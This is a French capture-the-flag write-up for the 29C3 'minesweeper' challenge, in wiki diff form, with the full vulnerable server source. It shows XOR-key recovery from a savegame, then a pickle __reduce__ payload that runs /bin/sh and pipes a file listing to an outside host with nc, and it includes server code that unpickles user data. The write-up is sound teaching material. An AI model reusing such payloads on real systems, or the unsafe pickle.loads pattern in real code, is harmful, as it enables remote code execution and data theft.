Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
|
29c3:exploitation:minesweeper [2012/12/30 12:33] mooh créée |
29c3:exploitation:minesweeper [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 4: | Ligne 4: | ||
| Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024 | Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024 | ||
| - | |||
| - | http://dl.ctftime.org/57/193/minesweeper.rar | ||
| ==== Solution ==== | ==== Solution ==== | ||
| Ligne 17: | Ligne 15: | ||
| On va donc regarder de plus pres le code et en particulier les fonctions de sauvegarde et chargement | On va donc regarder de plus pres le code et en particulier les fonctions de sauvegarde et chargement | ||
| - | sauvegarder: | + | **La fonction sauvegarder:** |
| <code python> | <code python> | ||
| msg = f.save() | msg = f.save() | ||
| Ligne 29: | Ligne 27: | ||
| return (True, "Your savegame: " + base64.standard_b64encode(msg)) | return (True, "Your savegame: " + base64.standard_b64encode(msg)) | ||
| </code> | </code> | ||
| + | avec | ||
| + | <code python> | ||
| + | def save(self): | ||
| + | return pickle.dumps(self.__dict__, 1) | ||
| + | </code> | ||
| + | |||
| + | et f un objet de classe Field: | ||
| + | <code python> | ||
| + | class Field: | ||
| + | def __init__(self, w, h, mines): | ||
| + | self.w = w | ||
| + | self.h = h | ||
| + | self.mines = set() | ||
| + | while len(self.mines) < mines: | ||
| + | y = random.randint(0, h - 1) | ||
| + | x = random.randint(0, w - 1) | ||
| + | self.mines.add((y, x)) | ||
| + | self.mines = sorted(self.mines) | ||
| + | self.opened = [] | ||
| + | self.flagged = [] | ||
| + | </code> | ||
| + | |||
| + | La fonction sauvegarder va donc faire un pickle dumps de son __dict__ (ici qui contient toutes les informations relatives a la partie, la width/height, position des mines, cases deja ouvertes et cases deja marquees) et ensuite faire une concatenation de "4n71cH3aT" + h.digest() + msg et finalement un xor avec une cle secrete puis l'encoder en base64. | ||
| + | |||
| + | **La fonction charger:** | ||
| + | elle fait l'inverse: elle b64-decode l'input, fait un xor avec la cle secrete, verifie que ca commance par "4n71cH3aT", que le hash correspond au message et ensuite | ||
| + | <code python> | ||
| + | def load(self, data): | ||
| + | self.__dict__ = pickle.loads(data) | ||
| + | </code> | ||
| + | |||
| + | On va donc chercher a obtenir la cle secrete. En effet, si on connait le resultat et le message de depart et on les XOR, on retrouve la cle. | ||
| + | Pour cela, on va sauvegarder la partie des le commencement (comme ca il n'y aucune case d'ouverte/marque) et ensuite la gagner (on remarquera que la partie est toujours la meme, donc ce n'est pas grave si on se trompe). | ||
| + | Une fois la partie gagnee, on va reconstruire le message initial: | ||
| + | <code python> | ||
| + | class Field: | ||
| + | def __init__(self): | ||
| + | self.w = 16 | ||
| + | self.h = 16 | ||
| + | self.mines = [(0, 4), (1, 5), (1, 7), (4, 1), (4, 8), (5, 13), (5, 14), (6, 0), (7, 7), (9, 10), (11, 7), (12, 2), (12, 7), (12, 8), (12, 13), (12, 14), (13, 0), (13, 10), (14, 14), (14, 15)] | ||
| + | self.opened = [] | ||
| + | self.flagged = [] | ||
| + | |||
| + | f = Field() | ||
| + | |||
| + | msg = pickle.dumps(f.__dict__, 1) | ||
| + | </code> | ||
| + | |||
| + | et ensuite le mettre sous le bon format ("4n71cH3aT" + hash) et ensuite le XOR avec la sauvegarde que le serveur nous a donnee. | ||
| + | |||
| + | On retrouve donc la key | ||
| + | <code> | ||
| + | 28 94 52 39 2D 84 88 4A BD E9 39 C0 F7 38 8D 56 CB F4 F1 5F 5F F1 7C 9C 84 73 7E 3C 6A C0 A0 7E D6 60 AA 0E 92 6E 45 37 AC 50 C8 69 A5 60 CC C9 96 6F FC 80 57 AF F7 A5 E3 19 BD 10 09 C8 55 6F D5 65 5E 66 24 C4 7B DE C5 8C 40 88 49 B4 EC 1A 0D 0D B3 74 22 75 78 BA 7B 03 3D C9 FA 4E 33 ED 08 C8 6A 33 C8 B6 74 B9 67 08 11 2C 3E 82 85 0C 9D F6 2F F1 CE 7A B8 D8 F8 31 F1 49 1E 44 15 8A 04 65 D3 45 CE D2 38 7D A8 99 79 BD 10 7F 78 31 D4 6D 01 57 13 78 43 57 F6 D6 B1 E7 77 E8 23 9E 35 51 5E 38 65 9E BC B9 52 2E D9 7B 59 AC 0F 01 39 5B 97 E7 03 28 5E 38 D3 CA 5B 93 D7 AB 0C 74 B0 26 FC 80 31 4D 39 31 EF 88 7A 61 EB 2A A3 F1 EB 1F 1F AE B3 17 DB 42 98 E7 5C 37 3D 70 BB 14 44 EF 83 9C 30 B6 B2 8E C9 92 E8 74 1A 23 82 5A C9 EB 5C 46 5D 8A 87 A1 90 0C | ||
| + | </code> | ||
| + | |||
| + | Apres quelques essais infructueux, cette key semble aleatoire (ie pas de zip ou image...) | ||
| + | |||
| + | On va donc continuer. Maintenant on a la cle du serveur, c'est a dire que l'on peut generer ses propres parties et on peut donc essayer de generer une partie avec 0 mine pour le fun. Si on ouvre une case, elles vont toutes s'ouvrir d'un coup mais il ne se passe rien d'autre =) | ||
| + | |||
| + | On remarque que pour charger la partie, le serveur utilise **pickle.loads** et en forgeant un object special, il est possible d'executer des commandes sur le serveur. Allez voir http://5mins.wordpress.com/2011/04/25/plaidctf-django-challenge-writeup-web-300/ pour plus d'explications. | ||
| + | |||
| + | On va donc forger notre objet qui va envoyer la liste des fichiers sur le serveur sur notre serveur en utilisant nc: | ||
| + | <code python> | ||
| + | import pickle | ||
| + | import socket | ||
| + | import os | ||
| + | class payload(object): | ||
| + | def __reduce__(self): | ||
| + | import subprocess | ||
| + | return (subprocess.Popen, (('/bin/sh','-c','ls ./ | nc xx.xx.xx.xx 5555'),)) | ||
| + | payload = pickle.dumps( payload()) | ||
| + | print repr(payload) | ||
| + | </code> | ||
| + | et le formatter correctement (anti cheat + hash) et xor avec la cle sur serveur. | ||
| + | Quand on charge la partie, on obtient sur notre serveur (merci a Pheimors =) une liste de fichiers: | ||
| + | <code> | ||
| + | encrypt_key.bin | ||
| + | flag.txt | ||
| + | minesweeper.py | ||
| + | </code> | ||
| + | |||
| + | On recree une partie, mais cette fois avec **cat flag.txt** et on obtient le flag **29C3_TickTickBoom_YouFoundAMine** | ||
| + | |||
| + | ==== Source ==== | ||
| + | <code python> | ||
| + | #!/usr/bin/env python | ||
| + | import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os | ||
| + | |||
| + | def load_encrypt_key(): | ||
| + | try: | ||
| + | f = open('encrypt_key.bin', 'r') | ||
| + | try: | ||
| + | encrypt_key = f.read(4096) | ||
| + | if len(encrypt_key) == 4096: | ||
| + | return encrypt_key | ||
| + | finally: | ||
| + | f.close() | ||
| + | except: | ||
| + | pass | ||
| + | |||
| + | rand = random.SystemRandom() | ||
| + | encrypt_key = "" | ||
| + | for i in xrange(0, 4096): | ||
| + | encrypt_key += chr(rand.randint(0,255)) | ||
| + | |||
| + | try: | ||
| + | f = open('encrypt_key.bin', 'w') | ||
| + | try: | ||
| + | f.write(encrypt_key) | ||
| + | finally: | ||
| + | f.close() | ||
| + | except: | ||
| + | pass | ||
| + | |||
| + | return encrypt_key | ||
| + | |||
| + | class Field: | ||
| + | def __init__(self, w, h, mines): | ||
| + | self.w = w | ||
| + | self.h = h | ||
| + | self.mines = set() | ||
| + | while len(self.mines) < mines: | ||
| + | y = random.randint(0, h - 1) | ||
| + | x = random.randint(0, w - 1) | ||
| + | self.mines.add((y, x)) | ||
| + | self.mines = sorted(self.mines) | ||
| + | self.opened = [] | ||
| + | self.flagged = [] | ||
| + | |||
| + | def calc_num(self, point): | ||
| + | n = 0 | ||
| + | for y in xrange(point[0] - 1, point[0] + 2): | ||
| + | for x in xrange(point[1] - 1, point[1] + 2): | ||
| + | p = (y, x) | ||
| + | if p != point and p in self.mines: | ||
| + | n += 1 | ||
| + | return n | ||
| + | |||
| + | def open(self, y, x): | ||
| + | point = (int(y), int(x)) | ||
| + | if point[0] < 0 or point[0] >= self.h: | ||
| + | return (True, "Illegal point") | ||
| + | if point[1] < 0 or point[1] >= self.w: | ||
| + | return (True, "Illegal point") | ||
| + | if point in self.opened: | ||
| + | return (True, "Already opened") | ||
| + | if point in self.flagged: | ||
| + | return (True, "Already flagged") | ||
| + | bisect.insort(self.opened, point) | ||
| + | if point in self.mines: | ||
| + | return (False, "You lose") | ||
| + | if len(self.opened) + len(self.mines) == self.w * self.h: | ||
| + | return (False, "You win") | ||
| + | if self.calc_num(point) == 0: | ||
| + | #open everything around - it can not result in something bad | ||
| + | self.open(y-1, x-1) | ||
| + | self.open(y-1, x) | ||
| + | self.open(y-1, x+1) | ||
| + | self.open(y, x-1) | ||
| + | self.open(y, x+1) | ||
| + | self.open(y+1, x-1) | ||
| + | self.open(y+1, x) | ||
| + | self.open(y+1, x+1) | ||
| + | return (True, None) | ||
| + | |||
| + | |||
| + | def flag(self, y, x): | ||
| + | point = (int(y), int(x)) | ||
| + | if point[0] < 0 or point[0] >= self.h: | ||
| + | return "Illegal point" | ||
| + | if point[1] < 0 or point[1] >= self.w: | ||
| + | return "Illegal point" | ||
| + | if point in self.opened: | ||
| + | return "Already opened" | ||
| + | if point in self.flagged: | ||
| + | self.flagged.remove(point) | ||
| + | else: | ||
| + | bisect.insort(self.flagged, point) | ||
| + | return None | ||
| + | |||
| + | def load(self, data): | ||
| + | self.__dict__ = pickle.loads(data) | ||
| + | |||
| + | def save(self): | ||
| + | return pickle.dumps(self.__dict__, 1) | ||
| + | |||
| + | def write(self, stream): | ||
| + | mine = 0 | ||
| + | open = 0 | ||
| + | flag = 0 | ||
| + | screen = " " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n" | ||
| + | for y in xrange(0, self.h): | ||
| + | have_mines = mine < len(self.mines) and self.mines[mine][0] == y | ||
| + | have_opened = open < len(self.opened) and self.opened[open][0] == y | ||
| + | have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y | ||
| + | screen += chr(0x30 | (y % 10)) + "|" | ||
| + | for x in xrange(0, self.w): | ||
| + | is_mine = have_mines and self.mines[mine][1] == x | ||
| + | is_opened = have_opened and self.opened[open][1] == x | ||
| + | is_flagged = have_flagged and self.flagged[flag][1] == x | ||
| + | assert(not (is_opened and is_flagged)) | ||
| + | if is_mine: | ||
| + | mine += 1 | ||
| + | have_mines = mine < len(self.mines) and self.mines[mine][0] == y | ||
| + | if is_opened: | ||
| + | open += 1 | ||
| + | have_opened = open < len(self.opened) and self.opened[open][0] == y | ||
| + | if is_mine: | ||
| + | c = "*" | ||
| + | else: | ||
| + | c = ord("0") | ||
| + | #check prev row | ||
| + | for m in xrange(mine - 1, -1, -1): | ||
| + | if self.mines[m][0] < y - 1: | ||
| + | break | ||
| + | if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1): | ||
| + | c += 1 | ||
| + | #check left & right | ||
| + | if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1: | ||
| + | c += 1 | ||
| + | if have_mines and self.mines[mine][1] == x + 1: | ||
| + | c += 1 | ||
| + | #check next row | ||
| + | for m in xrange(mine, len(self.mines)): | ||
| + | if self.mines[m][0] > y + 1: | ||
| + | break | ||
| + | if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1): | ||
| + | c += 1 | ||
| + | c = chr(c) | ||
| + | elif is_flagged: | ||
| + | flag += 1 | ||
| + | have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y | ||
| + | c = "!" | ||
| + | else: | ||
| + | c = " " | ||
| + | screen += c | ||
| + | screen += "|" + chr(0x30 | (y % 10)) + "\n" | ||
| + | screen += " +" + ("-" * self.w) + "+\n " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n" | ||
| + | stream.send(screen) | ||
| + | |||
| + | sock = socket.socket() | ||
| + | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | ||
| + | sock.bind(('0.0.0.0', 1024)) | ||
| + | sock.listen(10) | ||
| + | |||
| + | signal.signal(signal.SIGCHLD, signal.SIG_IGN) | ||
| + | |||
| + | encrypt_key = load_encrypt_key() | ||
| + | |||
| + | while 1: | ||
| + | client, addr = sock.accept() | ||
| + | if os.fork() == 0: | ||
| + | break | ||
| + | client.close() | ||
| + | sock.close() | ||
| + | |||
| + | f = Field(16, 16, 20) | ||
| + | |||
| + | re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") | ||
| + | re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") | ||
| + | def handle(line): | ||
| + | if len(line) < 1: | ||
| + | return (True, None) | ||
| + | if len(line) == 1 and line[0] in "qxQX": | ||
| + | return (False, "Bye") | ||
| + | global f | ||
| + | if line[0] in "foFO": | ||
| + | m = re_pos.match(line) | ||
| + | if m is None: | ||
| + | return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") | ||
| + | x,y = m.groups() | ||
| + | x = int(x) | ||
| + | y = int(y) | ||
| + | if line[0] in "oO": | ||
| + | return f.open(y,x) | ||
| + | else: | ||
| + | return (True, f.flag(y,x)) | ||
| + | elif line[0] in "lL": | ||
| + | m = re_save.match(line) | ||
| + | if m is None: | ||
| + | return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") | ||
| + | msg = base64.standard_b64decode(m.group(1)) | ||
| + | tmp = "" | ||
| + | for i in xrange(0, len(msg)): | ||
| + | tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) | ||
| + | msg = tmp | ||
| + | if msg[0:9] != "4n71cH3aT": | ||
| + | return (True, "Unable to load savegame (magic)") | ||
| + | h = hashlib.sha1() | ||
| + | h.update(msg[9+h.digest_size:]) | ||
| + | if msg[9:9+h.digest_size] != h.digest(): | ||
| + | return (True, "Unable to load savegame (checksum)") | ||
| + | try: | ||
| + | f.load(msg[9+h.digest_size:]) | ||
| + | except: | ||
| + | return (True, "Unable to load savegame (exception)") | ||
| + | return (True, "Savegame loaded") | ||
| + | elif len(line) == 1 and line[0] in "sS": | ||
| + | msg = f.save() | ||
| + | h = hashlib.sha1() | ||
| + | h.update(msg) | ||
| + | msg = "4n71cH3aT" + h.digest() + msg | ||
| + | tmp = "" | ||
| + | for i in xrange(0, len(msg)): | ||
| + | tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) | ||
| + | msg = tmp | ||
| + | return (True, "Your savegame: " + base64.standard_b64encode(msg)) | ||
| + | elif len(line) == 1 and line[0] in "dD": | ||
| + | return (True, repr(f.__dict__)+"\n") | ||
| + | else: | ||
| + | return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s") | ||
| + | |||
| + | data = "" | ||
| + | while 1: | ||
| + | f.write(client) | ||
| + | while 1: | ||
| + | pos = data.find("\n") | ||
| + | if pos != -1: | ||
| + | cont, msg = handle(data[0:pos]) | ||
| + | if not cont: | ||
| + | if msg is not None: | ||
| + | client.send(msg + "\n") | ||
| + | f.write(client) | ||
| + | client.close() | ||
| + | sys.exit(0) | ||
| + | if msg is not None: | ||
| + | client.send(msg + "\n") | ||
| + | data = data[pos+1:] | ||
| + | break | ||
| + | new_data = client.recv(4096) | ||
| + | if len(new_data) == 0: | ||
| + | sys.exit(0) | ||
| + | data += new_data | ||
| + | |||
| + | </code> | ||
| + | |||
| + | |||